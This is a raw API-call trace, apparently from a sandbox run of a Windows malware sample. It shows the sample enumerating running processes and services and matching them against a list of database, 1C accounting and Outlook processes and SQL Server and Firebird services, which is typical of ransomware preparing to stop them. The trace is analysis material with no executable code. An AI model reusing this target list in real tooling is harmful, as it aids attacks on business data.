	[0269.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0269.283] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0269.284] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0269.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0269.284] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0269.284] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360
	[0269.285] Process32FirstW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0269.285] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0269.285] lstrlenW (lpString="System") returned 6
	[0269.285] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0269.285] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0269.285] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0269.285] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0269.285] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0269.285] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0269.285] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0269.285] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0269.286] lstrlenW (lpString="smss.exe") returned 8
	[0269.286] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0269.286] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0269.286] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0269.286] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0269.286] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0269.286] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0269.286] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0269.286] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0269.286] lstrlenW (lpString="csrss.exe") returned 9
	[0269.286] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0269.286] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0269.286] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0269.286] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0269.286] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0269.286] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0269.286] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0269.287] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0269.287] lstrlenW (lpString="wininit.exe") returned 11
	[0269.287] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0269.287] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0269.287] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0269.287] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0269.287] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0269.287] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0269.287] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0269.287] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0269.287] lstrlenW (lpString="csrss.exe") returned 9
	[0269.287] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0269.287] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0269.287] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0269.287] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0269.287] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0269.287] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0269.288] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0269.288] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0269.288] lstrlenW (lpString="winlogon.exe") returned 12
	[0269.288] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0269.288] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0269.288] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0269.288] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0269.288] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0269.288] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0269.288] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0269.288] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0269.288] lstrlenW (lpString="services.exe") returned 12
	[0269.288] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0269.288] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0269.289] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0269.289] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0269.289] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0269.289] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0269.289] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0269.289] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0269.289] lstrlenW (lpString="lsass.exe") returned 9
	[0269.289] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0269.289] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0269.289] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0269.289] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0269.289] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0269.289] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0269.289] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0269.289] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0269.290] lstrlenW (lpString="lsm.exe") returned 7
	[0269.290] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0269.290] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0269.290] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0269.290] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0269.290] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0269.290] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0269.290] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0269.290] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.290] lstrlenW (lpString="svchost.exe") returned 11
	[0269.290] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0269.290] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0269.290] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0269.290] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0269.290] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0269.290] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0269.290] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.291] lstrlenW (lpString="svchost.exe") returned 11
	[0269.291] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.291] lstrlenW (lpString="svchost.exe") returned 11
	[0269.291] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.291] lstrlenW (lpString="svchost.exe") returned 11
	[0269.291] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.292] lstrlenW (lpString="svchost.exe") returned 11
	[0269.292] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0269.292] lstrlenW (lpString="audiodg.exe") returned 11
	[0269.292] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.292] lstrlenW (lpString="svchost.exe") returned 11
	[0269.292] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0269.292] lstrlenW (lpString="userinit.exe") returned 12
	[0269.292] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0269.293] lstrlenW (lpString="explorer.exe") returned 12
	[0269.293] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0269.293] lstrlenW (lpString="dwm.exe") returned 7
	[0269.293] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.293] lstrlenW (lpString="svchost.exe") returned 11
	[0269.293] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0269.294] lstrlenW (lpString="swpesp.exe") returned 10
	[0269.294] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0269.294] lstrlenW (lpString="spoolsv.exe") returned 11
	[0269.294] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0269.294] lstrlenW (lpString="taskhost.exe") returned 12
	[0269.294] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.294] lstrlenW (lpString="svchost.exe") returned 11
	[0269.295] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0269.295] lstrlenW (lpString="reader_sl.exe") returned 13
	[0269.295] Process32NextW (in: hSnapshot=0x360, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0269.295] CloseHandle (hObject=0x360) returned 1
	[0269.295] Sleep (dwMilliseconds=0x1f4) 
	[0270.158] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280a18
	[0270.243] EnumServicesStatusExW (in: hSCManager=0x4280a18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0270.244] GetLastError () returned 0xea
	[0270.244] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe90) returned 0x41f5d68
	[0270.244] EnumServicesStatusExW (in: hSCManager=0x4280a18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xe90, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0270.244] CloseServiceHandle (hSCObject=0x4280a18) returned 1
	[0270.244] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0270.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0270.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0270.244] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0270.244] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0270.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0270.244] lstrlenW (lpString="AudioSrv") returned 8
	[0270.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0270.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0270.244] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0270.244] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0270.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0270.245] lstrlenW (lpString="BFE") returned 3
	[0270.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0270.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0270.245] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0270.245] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0270.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0270.245] lstrlenW (lpString="CryptSvc") returned 8
	[0270.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0270.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0270.245] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0270.245] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0270.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0270.245] lstrlenW (lpString="CscService") returned 10
	[0270.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0270.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0270.245] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0270.245] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0270.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0270.245] lstrlenW (lpString="DcomLaunch") returned 10
	[0270.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0270.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0270.245] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0270.245] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0270.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0270.245] lstrlenW (lpString="Dhcp") returned 4
	[0270.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0270.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0270.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0270.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0270.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0270.245] lstrlenW (lpString="Dnscache") returned 8
	[0270.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0270.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0270.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0270.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0270.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0270.246] lstrlenW (lpString="DPS") returned 3
	[0270.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0270.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0270.246] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0270.246] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0270.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0270.246] lstrlenW (lpString="eventlog") returned 8
	[0270.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0270.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0270.246] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0270.246] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0270.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0270.246] lstrlenW (lpString="EventSystem") returned 11
	[0270.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0270.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0270.246] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0270.246] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0270.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0270.246] lstrlenW (lpString="gpsvc") returned 5
	[0270.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0270.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0270.246] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0270.246] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0270.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0270.246] lstrlenW (lpString="iphlpsvc") returned 8
	[0270.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0270.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0270.247] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0270.247] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0270.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0270.247] lstrlenW (lpString="LanmanServer") returned 12
	[0270.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0270.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0270.247] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0270.247] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0270.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0270.247] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0270.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0270.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0270.247] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0270.247] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0270.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0270.247] lstrlenW (lpString="lmhosts") returned 7
	[0270.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0270.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0270.247] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0270.247] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0270.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0270.247] lstrlenW (lpString="MMCSS") returned 5
	[0270.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0270.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0270.247] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0270.247] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0270.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0270.247] lstrlenW (lpString="MpsSvc") returned 6
	[0270.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0270.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0270.248] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0270.248] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0270.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0270.248] lstrlenW (lpString="NlaSvc") returned 6
	[0270.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0270.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0270.248] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0270.248] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0270.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0270.248] lstrlenW (lpString="nsi") returned 3
	[0270.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
